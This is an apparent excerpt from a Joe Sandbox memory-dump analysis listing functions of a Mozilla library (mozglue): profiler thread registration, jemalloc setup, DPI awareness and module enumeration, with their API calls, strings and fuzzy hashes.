Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF5F8F9

Part of subcall function 6BF26390: GetCurrentThreadId.KERNEL32 ref: 6BF263D0
Part of subcall function 6BF26390: AcquireSRWLockExclusive.KERNEL32 ref: 6BF263DF
Part of subcall function 6BF26390: ReleaseSRWLockExclusive.KERNEL32 ref: 6BF2640E

ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F93A
GetCurrentThreadId.KERNEL32 ref: 6BF5F98A
GetCurrentThreadId.KERNEL32 ref: 6BF5F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F716

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

Part of subcall function 6BF1B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6BF1B5E0

GetCurrentThreadId.KERNEL32 ref: 6BF5F739
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F746
GetCurrentThreadId.KERNEL32 ref: 6BF5F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6BF9385B,00000002,?,?,?,?,?), ref: 6BF5F829
free.MOZGLUE(?,?,00000000,?), ref: 6BF5F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6BF5F866
free.MOZGLUE(?), ref: 6BF5FA0C

Part of subcall function 6BF25E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF255E1), ref: 6BF25E8C
Part of subcall function 6BF25E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF25E9D
Part of subcall function 6BF25E60: GetCurrentThreadId.KERNEL32 ref: 6BF25EAB
Part of subcall function 6BF25E60: GetCurrentThreadId.KERNEL32 ref: 6BF25EB8
Part of subcall function 6BF25E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF25ECF
Part of subcall function 6BF25E60: moz_xmalloc.MOZGLUE(00000024), ref: 6BF25F27
Part of subcall function 6BF25E60: moz_xmalloc.MOZGLUE(00000004), ref: 6BF25F47
Part of subcall function 6BF25E60: GetCurrentProcess.KERNEL32 ref: 6BF25F53
Part of subcall function 6BF25E60: GetCurrentThread.KERNEL32 ref: 6BF25F5C
Part of subcall function 6BF25E60: GetCurrentProcess.KERNEL32 ref: 6BF25F66
Part of subcall function 6BF25E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6BF25F7E

free.MOZGLUE(?), ref: 6BF5F9C5
free.MOZGLUE(?), ref: 6BF5F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6BF5F9A6
" attempted to re-register as ", xrefs: 6BF5F858
Thread , xrefs: 6BF5F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6BF5F71F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c010d1c76e38a729f424fbb220361d3326ae5e40539352b0e4fd0c19871ce40c
Instruction ID: 7b690d99131761a7a242d8d59a981cb0983c5e311503cd30ca9239c8ec06b24e
Opcode Fuzzy Hash: c010d1c76e38a729f424fbb220361d3326ae5e40539352b0e4fd0c19871ce40c
Instruction Fuzzy Hash: BF8104739046019FDB10EF34C840B6AB7A5BFD5304F4048ADE94997372EB39E859CB92

Function 6BF24180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6BF24196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BF241F1
VerSetConditionMask.NTDLL ref: 6BF24223
VerSetConditionMask.NTDLL ref: 6BF2422A
VerSetConditionMask.NTDLL ref: 6BF24231
VerSetConditionMask.NTDLL ref: 6BF24238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF24245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BF24263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6BF2427A
FreeLibrary.KERNEL32(?), ref: 6BF24299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6BF242C4
VerSetConditionMask.NTDLL ref: 6BF242F6
VerSetConditionMask.NTDLL ref: 6BF24302
VerSetConditionMask.NTDLL ref: 6BF24309
VerSetConditionMask.NTDLL ref: 6BF24310
VerSetConditionMask.NTDLL ref: 6BF24317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BF24324

Strings

SetProcessDpiAwareness, xrefs: 6BF24274
Shcore.dll, xrefs: 6BF2425E

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 9a56417a367b86377765804b18322d3dbe751d41448a3cc72bbef3f9d22bdccb
Instruction ID: fb7d3a41467d2a0809275545680fbd6842f1072acaa98eb7c4936f8cd2009a20
Opcode Fuzzy Hash: 9a56417a367b86377765804b18322d3dbe751d41448a3cc72bbef3f9d22bdccb
Instruction Fuzzy Hash: 8851F6729502156BFB106BB58C09BAA776CEF86B10F014558FA05DB1E0CBB8DD558BA0

Function 6BF4D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF4D047
GetSystemInfo.KERNEL32(?), ref: 6BF4D093
__Init_thread_footer.LIBCMT ref: 6BF4D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BF9E810,00000040), ref: 6BF4D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7B8,00001388), ref: 6BF4D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E744,00001388), ref: 6BF4D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E784,00001388), ref: 6BF4D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7DC,00001388), ref: 6BF4D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF4D322
Compile-time page size does not divide the runtime one., xrefs: 6BF4D26D
MOZ_CRASH(), xrefs: 6BF4D277
<jemalloc>, xrefs: 6BF4D268, 6BF4D311
MALLOC_OPTIONS, xrefs: 6BF4D0CB

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: ae02d5e7a9c7cde01d7a8255abb6bb54e612d66a93c2128f1450fcbe7b8410b2
Instruction ID: 7d22b01b91093b397461ab7f9f9c3cb4d49b98a7b8b3d1b8f16af0e99db169e6
Opcode Fuzzy Hash: ae02d5e7a9c7cde01d7a8255abb6bb54e612d66a93c2128f1450fcbe7b8410b2
Instruction Fuzzy Hash: 7B811276A60201ABFB04BF68D844B693BA9FB46704F000169E811D77B2D779D90ECB63

Function 6BF5FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF5FADC
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5FAE9
GetCurrentThreadId.KERNEL32 ref: 6BF5FB31
GetCurrentThreadId.KERNEL32 ref: 6BF5FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF5FBF6
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5FC50

Strings

[D %d/%d] profiler_unregister_thread: %s, xrefs: 6BF5FC94
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6BF5FD15

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: fc1b57650b62a1fbeb8f343bcb4ba9c08c12c4e4f4e8084a57d89554e6481cea
Instruction ID: c181d90cabc66c9b6f31991c498f94d4e61ae2418a701fb07a1f63003e9482f3
Opcode Fuzzy Hash: fc1b57650b62a1fbeb8f343bcb4ba9c08c12c4e4f4e8084a57d89554e6481cea
Instruction Fuzzy Hash: 5D711373900701CFD754EF28C448B2AB7E5FF95304F0189AAE94587372EB38A959CB92

Function 6BF13AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E768,?,00003000,00000004), ref: 6BF13AC5
LeaveCriticalSection.KERNEL32(6BF9E768,?,00003000,00000004), ref: 6BF13AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6BF13AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BF13B57
EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF13B81
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF13BA3
EnterCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF13BAE
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF13C74
EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF13C8B
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF13C9F
LeaveCriticalSection.KERNEL32(6BF9E7B8), ref: 6BF13D5C
EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF13D67
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF13D8A

Part of subcall function 6BF50D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BF13DEF), ref: 6BF50D71
Part of subcall function 6BF50D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BF13DEF), ref: 6BF50D84

Strings

MOZ_CRASH(), xrefs: 6BF13DB2
<jemalloc>, xrefs: 6BF13DC7
: (malloc) Error in VirtualFree(), xrefs: 6BF13DCC

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 5a78d4c93ad1518ed0b32627bcf1e904980cf97a01659c5d0cf4271568e73c4b
Instruction ID: a5d06e771532efd9fcd51a40423e682944f855ea458bbd4b5712aa0341cde912
Opcode Fuzzy Hash: 5a78d4c93ad1518ed0b32627bcf1e904980cf97a01659c5d0cf4271568e73c4b
Instruction Fuzzy Hash: 2F91D073B18205ABDB14EF68C4C072A77F2FB85710B104968E921DB3A5D779EC09CB92

Function 6BF27FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6BF28007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6BF2801D

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6BF2802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6BF2803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6BF2808D

Part of subcall function 6BF2CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF2CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6BF2809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6BF280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BF280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF2810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BF28133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6BF28149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6BF28167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6BF2817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF28199

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: b369272f50ad765d0db3ff676d56cdc09956ff8d12a9ab8f8f30908c02d0a928
Instruction ID: 938b025f1ad998a6068e760e671d85f640fa6b7c1763614a04d4f74ab646a37f
Opcode Fuzzy Hash: b369272f50ad765d0db3ff676d56cdc09956ff8d12a9ab8f8f30908c02d0a928
Instruction Fuzzy Hash: 1D5184B3D001159BDB00DBB9DC85AAFB7B9EF49724F140124E915E73A1E738D904CBA1

Function 6BF211B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6BF21213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BF21285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6BF212B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6BF21327

Strings

&, xrefs: 6BF2126B
MZx, xrefs: 6BF211E1
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6BF2131B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6BF212AD
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6BF2120D

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 01bb6cdbdfb9936da90ebee6506cebcf6686e228a98bf855f1b5e2ce8364f586
Instruction ID: db06d4dbbff665290ee2da23d492096ce5e10c45a875f231fe59fe7799b4fbd9
Opcode Fuzzy Hash: 01bb6cdbdfb9936da90ebee6506cebcf6686e228a98bf855f1b5e2ce8364f586
Instruction Fuzzy Hash: C2719172E043698ADB209FB4C8007DEB7F6BF45309F04065AD549A3260D7396B99CB96

Function 6BF131C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BF13217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BF13236
FreeLibrary.KERNEL32 ref: 6BF1324B
__Init_thread_footer.LIBCMT ref: 6BF13260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BF1327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF1328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF132AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF132D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF132E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BF132F7

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

__aulldiv.LIBCMT ref: 6BF1346B

Strings

KernelBase.dll, xrefs: 6BF13212
QueryInterruptTime, xrefs: 6BF13230

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: cc82ad1a8b6eeb7656ce491ea46f8900613bece5baabdec5ced762fc66e3267c
Instruction ID: cd6b0317865830a813ebbd2f8c35d48a0af071287b46f8fd3ff1ab548e710f57
Opcode Fuzzy Hash: cc82ad1a8b6eeb7656ce491ea46f8900613bece5baabdec5ced762fc66e3267c
Instruction Fuzzy Hash: 876122728187019BC720DF39C45161AB7E4FFC6360F118B1DF8A5A32B1EB35E54A8B42

Function 6BF6D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D918
GetCurrentThreadId.KERNEL32 ref: 6BF6D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D970
GetCurrentThreadId.KERNEL32 ref: 6BF6D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF6DA2E
GetCurrentThreadId.KERNEL32 ref: 6BF6DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6BF6DA91

Part of subcall function 6BF35C50: GetTickCount64.KERNEL32 ref: 6BF35D40
Part of subcall function 6BF35C50: EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF35D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6DAB7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 18ef7683268a65cddc13e48d61f0162a8ddce587948cc7c7e9bf151e366ea567
Instruction ID: 9c0a3c1a21eb21c9e22cedabf8b0d7bde6071beff56a370b0333318473693d5e
Opcode Fuzzy Hash: 18ef7683268a65cddc13e48d61f0162a8ddce587948cc7c7e9bf151e366ea567
Instruction Fuzzy Hash: 7971BD366143059FCB00DF29C484B5ABBE5FF89350F14896DEC4A9B322EB34E949CB91

Function 6BF23A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6BF23BB4
ReleaseSRWLockShared.KERNEL32 ref: 6BF23BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6BF23BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF23C91
ReleaseSRWLockShared.KERNEL32 ref: 6BF23CBD
moz_xmalloc.MOZGLUE ref: 6BF23CF1

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: e7bff0dfa23bf773cc187ef3c791a2077f50ac04d51e99942e015133be04ed45
Instruction ID: b43284a7d76bf4b09f9f556c0fe61526bf844e82c9ca8123a337d40db262f42d
Opcode Fuzzy Hash: e7bff0dfa23bf773cc187ef3c791a2077f50ac04d51e99942e015133be04ed45
